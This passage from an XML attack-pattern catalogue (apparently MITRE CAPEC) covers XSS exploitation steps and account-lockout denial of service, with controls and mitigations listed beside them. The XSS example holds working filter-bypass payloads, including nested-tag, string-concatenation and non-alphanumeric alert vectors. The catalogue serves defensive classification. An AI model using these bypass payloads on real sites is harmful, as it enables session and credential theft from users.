										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Steal session IDs, credentials, page
											content, etc.:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, he can choose to steal user's
												credentials in order to reuse or to analyze them
												later on.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and sends document information to the
												attacker.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute
												appropriately.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the user's
												cookies or other session
												identifiers.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker gets the content
												of the page the user is
												viewing.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>The attacker causes the user's
												browser to visit a page with malicious
												content.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Forceful browsing:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>When the attacker targets the current application
												or another one (through CSRF vulnerabilities), the
												user will then be the one who perform the attacks
												without being aware of it. These attacks are mostly
												targeting application logic flaws, but it can also
												be used to create a widespread attack against a
												particular website on the user's current network
												(Internet or not).</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and performs actions on the same web
												site</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute request to
												other web sites (especially the web applications
												that have CSRF vulnerabilities). </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker indirectly
												controls the user's browser and makes it
												performing actions exploiting
												CSRF.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker manipulates the
												browser through the steps that he designed in his
												attack. The user, identified on a website, is now
												performing actions he is not aware
												of.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Content spoofing:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>By manipulating the content, the attacker targets
												the information that the user would like to get from
												the website.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and exposes attacker-modified invalid
												information to the user on the current web
												page.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The user sees a page containing
												wrong information</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Target client software must allow scripting such as JavaScript.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In this example, the attacker tries to get
							&lt;script&gt;alert(1)&lt;/script&gt; executed by the victim’s browser.
							The target application employs regular expressions to make sure no
							script is being passed through the application to the web page; such a
							regular expression could be ((?i)script), and the application would
							replace all matches by this regexp by the empty string. An attacker will
							then create a special payload to by pass this filter:
							&lt;scriscriptpt&gt;alert(1)&lt;/scscriptript&gt; when the applications
							gets this input string, it will replace all “script” (case insensitive)
							by the empty string and the resulting input will be the desired vector
							by the attacker: &lt;script&gt;alert(1)&lt;/script&gt; In this example,
							we assume that the application needs to write a particular string in a
							client-side JavaScript context (e.g.,
							&lt;script&gt;HERE&lt;/script&gt;). For the attacker to execute the same
							payload as in the previous example, he would need to send alert(1) if
							there was no filtering. The application makes use of the following
							regular expression as filter
							((\w+)\s*\(.*\)|alert|eval|function|document) and replaces all matches
							by the empty string. For example each occurrence of alert(), eval(),
							foo() or even the string “alert” would be stripped. An attacker will
							then create a special payload to bypass this filter: this['al' +
							'ert'](1) when the applications gets this input string, it won’t replace
							anything and this piece of JavaScript has exactly the same runtime
							meaning as alert(1). The attacker could also have used non-alphanumeric
							XSS vectors to bypass the filter; for example,
							($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)
							would be executed by the JavaScript engine like alert(1) is. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To inject the malicious payload in a web page</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To bypass non trivial filters in the application</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to send HTTP request to a web application.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use browser technologies that do not allow client side
						scripting.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Utilize strict type, character, and encoding enforcement</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all content that is delivered to client is
						sanitized against an acceptable content specification.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all content coming from the client is using the
						same encoding; if not, the server-side application must canonicalize the
						data before applying any filtering.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content, including
						remote and user-generated content</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform output validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Disable scripting languages such as JavaScript in
						browser</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Patching software. There are many attack vectors for XSS
						on the client side and the server side. Many vulnerabilities are fixed in
						service packs for browser, web servers, and plug in technologies, staying
						current on patch release that deal with XSS countermeasures mitigates
						this.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Any HTTP Request transport variables (GET, POST, Headers, etc.)</Text>
			</Injection_Vector>
			<Payload>
				<Text>XSS malicious script formed in non-traditional syntax</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client web browser where script is executed</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Client web browser may be used to steal session data, passwords, cookies,
						and other tokens.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Failure to Preserve Web Page Structure (aka 'Cross-site Scripting') -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>87<!--Failure to Sanitize Alternate XSS Syntax -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>85<!--Doubled Character XSS Manipulations -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>86<!--Failure to Sanitize Invalid Characters in Identifiers in Web Pages -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>692<!--Incomplete Blacklist to Cross-Site Scripting -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>71<!--Apple '.DS_Store' -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/18.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>220<!--Client-Server Protocol Manipulation-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/220.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Title>XSS cheat sheet</Reference_Title>
					<Reference_Link>http://ha.ckers.org/xss.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>OWASP Testing Guide Cross-Site Scripting</Reference_Title>
					<Reference_Publisher>OWASP</Reference_Publisher>
					<Reference_Link>http://www.owasp.org/index.php/Testing_for_Cross_site_scripting</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>Non-alphanumeric XSS cheat sheet</Reference_Title>
					<Reference_Link>http://sla.ckers.org/forum/read.php?24,28687</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>WASC Threat Classification Cross-Site
						Scripting</Reference_Title>
					<Reference_Link>http://projects.webappsec.org/Cross-Site+Scripting</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.2</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="2" Name="Inducing Account Lockout" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker leverages the security functionality of the system aimed at
						thwarting potential attacks to launch a denial of service attack against a
						legitimate system user. Many systems, for instance, implement a password
						throttling mechanism that locks an account after a certain number of
						incorrect log in attempts. An attacker can leverage this throttling
						mechanism to lock a legitimate user out of their own account. The weakness
						that is being leveraged by an attacker is the very security feature that has
						been put in place to counteract attacks.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Investigate account lockout behavior of
											system</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Investigate the security features present in the
												system that may trigger an account lockout</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Analyze system documentation to find list of
												events that could potentially cause account
												lockout</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Obtain user account in system and attempt to
												lock it out by sending malformed or incorrect data
												repeatedly</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Determine another user's login ID, and
												attempt to brute force the password (or other
												credentials) for it a predetermined number of
												times, or until the system provides an indication
												that the account is locked out.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>System provides error message stating that
												account being attacked is locked out.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>After a certain number of login attempts
												with a given user ID, the amount of time it takes
												for system to respond to further login attempts
												changes noticably.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>System has no automatic signup mechanism,
												and system provides no indication as to whether
												the attacker is entering incorrect credentials or
												the account is locked out during the login
												process.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker determines at least
												one way to lock out
												accounts.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>System provides no indication
												that account lockouts are
												possible</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Repeated failed login
												attempts in application/system
												logs.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Do not provide any
												indication to users that their accounts are locked
												out. Provide a simple error message such as:
												"Login failed. Try again or contact your
												administrator" regardless of why a login attempt
												fails.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Obtain list of user accounts to lock
											out</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Generate a list of valid user accounts to lock
												out</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Obtain list of authorized users using
												another attack pattern, such as SQL
												Injection.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Attempt to create accounts if possible;
												system should indicate if a user ID is already
												taken.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Attempt to brute force user IDs if system
												reveals whether a given user ID is valid or not
												upon failed login attempts.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>System indicates which user IDs are valid
												and which are not to unauthenticated users.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker gathers list of user
												IDs</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Inconclusive">
												<Outcome_Description>Attacker is unable to gather
												list of valid user IDs; attacker may still be able
												to lock out accounts by blindly guessing user IDs
												and performing a lockout procedure with each
												one.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Avoid providing any
												indication regarding the validity of user IDs upon
												failed login attempts. Provide a simple error
												message such as: "Login failed. Try again or
												contact your administrator" regardless of why a
												login attempt
												fails.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Lock Out Accounts</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Perform lockout procedure for all accounts that
												the attacker wants to lock out.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>For each user ID to be locked out, perform
												the lockout procedure discovered in the first
												step.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Success outcome in first step</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Failure outcome in first step</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Amount of work required by an
												attacker to lock out a large number of accounts is
												at least an order of magnitude smaller than the
												amount of work required to unlock the accounts
												thereafter.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>The large amount of work
												required by an attacker to lock out a large number
												of accounts makes this an unattractive
												attack.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The system has a lockout mechanism.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>An attacker must be able to reproduce behavior that would result in an
						account being locked.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Flooding</Method_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A famous example of this type an attack is the eBay attack. eBay
							always displays the user id of the highest bidder. In the final minutes
							of the auction, one of the bidders could try to log in as the highest
							bidder three times. After three incorrect log in attempts, eBay password
							throttling would kick in and lock out the highest bidder's account for
							some time. An attacker could then make their own bid and their victim
							would not have a chance to place the counter bid because they would be
							locked out. Thus an attacker could win the auction.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Computer with access to the login portion of the target system</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implement intelligent password throttling mechanisms such as those which
						take IP address into account, in addition to the login name.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>When implementing security features, consider how they can be misused and
						made to turn on themselves.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>400<!--Uncontrolled Resource Consumption ('Resource Exhaustion')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>212<!--Functionality Misuse--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eugene Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-26</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-01</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name,
							Description and Solutions</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Amit Sethi</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-29</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="20" Name="Encryption Brute Forcing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker, armed with the cipher text and the encryption algorithm used,
						performs an exhaustive (brute force) search on the key space to determine
						the key that decrypts the cipher text to obtain the plaintext.</Text>
				</Summary>
				<Attack_Execution_Flow>
